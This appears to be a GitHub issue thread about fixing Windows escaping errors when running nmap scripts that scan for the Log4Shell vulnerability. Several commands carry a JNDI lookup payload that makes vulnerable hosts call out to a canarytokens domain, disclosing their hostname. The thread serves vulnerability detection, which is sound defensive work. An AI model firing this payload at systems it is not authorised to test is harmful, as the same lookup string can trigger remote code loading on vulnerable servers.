Failed to initialize script engine - Arguments did not parse

[maxdemajo]

Running Nmap on Windows:
.\nmap.exe --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -p80 --script-timeout=1m 10.0.0.1

I get the following error:

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-16 16:23 W. Europe Standard Time
NSE: args = log4shell.payload=${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}
NSE: failed to initialize the script engine:
C:\Users\User\Downloads\nmap-7.92-win32/nse_main.lua:1276: arguments did not parse!
stack traceback:
        [C]: in function 'error'
        C:\Users\User\Downloads\nmap-7.92-win32/nse_main.lua:1276: in main chunk
        [C]: in ?

QUITTING!

Scripts are in the same directory as nmap. Any ideas?

[kost]

Hello!

Thanks for reporting. Since it is windows. You should use following escaping:
.\nmap.exe --script=http-log4shell,ssh-log4shell,imap-log4shell,smtp-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}\"" -T4 -n -p80 --script-timeout=1m 10.0.0.1

According to:
https://nmap.org/book/nse-usage.html#nse-args

Let me know if it works for you!

[kost-div]

Managed to work for you?

[maxdemajo]

Hello!

Thanks for reporting. Since it is windows. You should use following escaping: .\nmap.exe --script=http-log4shell,ssh-log4shell,imap-log4shell,smtp-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}\"" -T4 -n -p80 --script-timeout=1m 10.0.0.1

According to: https://nmap.org/book/nse-usage.html#nse-args

Let me know if it works for you!

Thanks for your response :)

Nmap complains if you don't add ticks (`) before the curly brackets, so I added them and was able to begin the scan. I am getting a new error but haven't looked into it properly yet:
Unable to split netmask from target expression: "${jndi:ldap://x${hostName}.L4J.XXXXXXXXXXXX.canarytokens.com/a}\"

[kost-div]

Usually that means escaping was not good. Add -d to the command line, so you can check how it interpreted those script-args, so you got that error message.

Have you tried with the basic scan?

cd nse-log4shell
nmap.exe -sV -T4 -v --script=%cd%/ scanme.nmap.org